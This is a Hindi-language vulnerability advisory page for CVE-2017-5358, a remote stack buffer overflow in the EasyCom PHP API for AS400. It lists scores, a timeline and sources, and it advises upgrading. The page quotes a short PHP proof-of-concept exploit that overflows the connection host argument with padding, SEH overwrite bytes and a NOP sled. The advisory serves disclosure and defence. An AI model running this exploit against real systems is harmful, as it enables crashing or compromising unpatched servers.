EasyCom PHP API बफ़र ओवरफ़्लो

CVSS मेटा अस्थायी स्कोर	वर्तमान एक्सप्लॉइट मूल्य (≈)	CTI रुचि स्कोर
8.2	$0-$5k	0.00

सारांशजानकारी

एक सुरक्षा कमजोरी, जिसे आलोचनात्मक के रूप में वर्गीकृत किया गया है, EasyCom में पाई गई है। प्रभावित होता है कोई अज्ञात फ़ंक्शन घटक PHP API का। यह हेरफेर बफ़र ओवरफ़्लो उत्पन्न करता है। यह भेद्यता CVE-2017-5358 के रूप में जानी जाती है। दूरस्थ स्थान से हमला शुरू करना संभव है। अतिरिक्त रूप से, एक एक्सप्लॉइट मौजूद है. प्रभावित घटक को अपग्रेड करने की सिफारिश की जाती है।

विवरणजानकारी

एक सुरक्षा कमजोरी, जिसे आलोचनात्मक के रूप में वर्गीकृत किया गया है, EasyCom में पाई गई है। प्रभावित होता है कोई अज्ञात फ़ंक्शन घटक PHP API का। यह हेरफेर बफ़र ओवरफ़्लो उत्पन्न करता है। CWE के माध्यम से समस्या घोषित करने पर CWE-119 मिलता है। यह बग 22/02/2017 को खोजा गया था। इस कमजोरी को प्रकाशित किया गया था 22/02/2017 द्वारा John Page (hyp3rlinx) के रूप में EasyCom PHP API Stack Buffer Overflow के रूप में Mailinglist Post (Full-Disclosure). यह सलाह seclists.org पर डाउनलोड के लिए साझा की गई है।

यह भेद्यता CVE-2017-5358 के रूप में जानी जाती है। 13/01/2017 को CVE असाइन किया गया था. दूरस्थ स्थान से हमला शुरू करना संभव है। कोई टेक्निकल डिटेल्स उपलब्ध नहीं हैं. इस भेद्यता की लोकप्रियता औसत से कम है। अतिरिक्त रूप से, एक एक्सप्लॉइट मौजूद है. एक्सप्लॉइट को सार्वजनिक रूप से प्रकट किया गया है और इसका उपयोग किया जा सकता है। अभी के लिए एक्सप्लॉइट की कीमत might be approx. USD $0-$5k है।

यह अवधारणा प्रमाण के रूप में घोषित है। एक्सप्लॉइट डाउनलोड के लिए seclists.org पर साझा किया गया है। कम से कम 62 दिनों तक इस भेद्यता को सार्वजनिक न किए गए ज़ीरो-डे एक्सप्लॉइट के रूप में संभाला गया। 0-डे के लिए अनुमानित भूमिगत कीमत लगभग $0-$5k थी. इस एक्सप्लॉइट का सोर्स कोड है:

<?php

/ Basic connection to an AS400 iBMI System  /
$payload=str_repeat("A", 4000);
 #BOOM!
$payload=str_repeat("A",1868)."RRRRBBBB".str_repeat("\x90",100);
#SEH
$conn = i5_connect($payload, "QPGMR", "PASSW") or die(i5_errormsg());
 #VULN
$conn = i5_pconnect($payload, 'QSECOFR', 'password', array() );
 #VULN
$conn = i5_private_connect($payload, $user, $password, array());
#VULN
echo 'EasyCom PHP API 0day ' . $conn;
?>

प्रभावित घटक को अपग्रेड करने की सिफारिश की जाती है।

यह कमज़ोरी अन्य कमज़ोरी डेटाबेस में भी उपलब्ध है: SecurityFocus (BID 96419).

उत्पादजानकारी

नाम

• EasyCom

CPE 2.3जानकारी

• 🔍
• 🔍

CPE 2.2जानकारी

• 🔍
• 🔍

CVSSv4जानकारी

VulDB वेक्टर: 🔍
VulDB विश्वसनीयता: 🔍

CVSSv3जानकारी

VulDB मेटा बेस स्कोर: 8.5
VulDB मेटा अस्थायी स्कोर: 8.2

VulDB मूल स्कोर: 7.3
VulDB अस्थायी स्कोर: 6.6
VulDB वेक्टर: 🔍
VulDB विश्वसनीयता: 🔍

NVD मूल स्कोर: 9.8
NVD वेक्टर: 🔍

CVSSv2जानकारी

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

सदिश	जटिलता	प्रमाणीकरण	गोपनीयता	अखंडता	उपलब्धता
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना

VulDB मूल स्कोर: 🔍
VulDB अस्थायी स्कोर: 🔍
VulDB विश्वसनीयता: 🔍

NVD मूल स्कोर: 🔍

शोषणजानकारी

वर्ग: बफ़र ओवरफ़्लो
CWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍

भौतिक: नहीं
स्थानीय: नहीं
दूरस्थ: हाँ

उपलब्धता: 🔍
प्रवेश: सार्वजनिक
स्थिति: अवधारणा प्रमाण
लेखक: John Page
डाउनलोड: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

मूल्य पूर्वानुमान: 🔍
वर्तमान मूल्य अनुमान: 🔍

0-Day	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
आज	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना

Exploit-DB: 🔍

खतरे की खुफियाजानकारी

रुचि: 🔍
सक्रिय अभिनेता: 🔍
सक्रिय APT समूह: 🔍

प्रतिव्यवस्थाजानकारी

सिफारिश: अपग्रेड
स्थिति: 🔍

0-दिवसीय समय: 🔍
शोषण विलंब समय: 🔍

समयरेखाजानकारी

22/12/2016 🔍
13/01/2017 +22 दिन 🔍
22/02/2017 +40 दिन 🔍
22/02/2017 +0 दिन 🔍
22/02/2017 +0 दिन 🔍
24/02/2017 +2 दिन 🔍
24/02/2017 +0 दिन 🔍
15/03/2017 +19 दिन 🔍
03/12/2025 +3185 दिन 🔍

स्रोतजानकारी

सलाह: EasyCom PHP API Stack Buffer Overflow
शोधकर्ता: John Page (hyp3rlinx)
स्थिति: पुष्टि की गई

CVE: CVE-2017-5358 (🔍)
GCVE (CVE): GCVE-0-2017-5358
GCVE (VulDB): GCVE-100-97277
SecurityFocus: 96419 - EasyCom AS400 PHP API CVE-2017-5358 Buffer Overflow Vulnerability
OSVDB: - CVE-2017-5358 - EasyCom for PHP - Buffer Overflow Issue

scip Labs: https://www.scip.ch/en/?labs.20161013
यह भी देखें: 🔍

प्रविष्टिजानकारी

बनाया गया: 24/02/2017 04:38 PM
अद्यतनित: 03/12/2025 11:50 AM
परिवर्तन: 24/02/2017 04:38 PM (69), 02/09/2020 12:42 PM (5), 03/12/2025 11:50 AM (19)
पूर्ण: 🔍
Cache ID: 216::103

If you want to get the best quality for vulnerability data then you always have to consider VulDB.

चर्चा

Want to stay up to date on a daily basis?

Enable the mail alert feature now!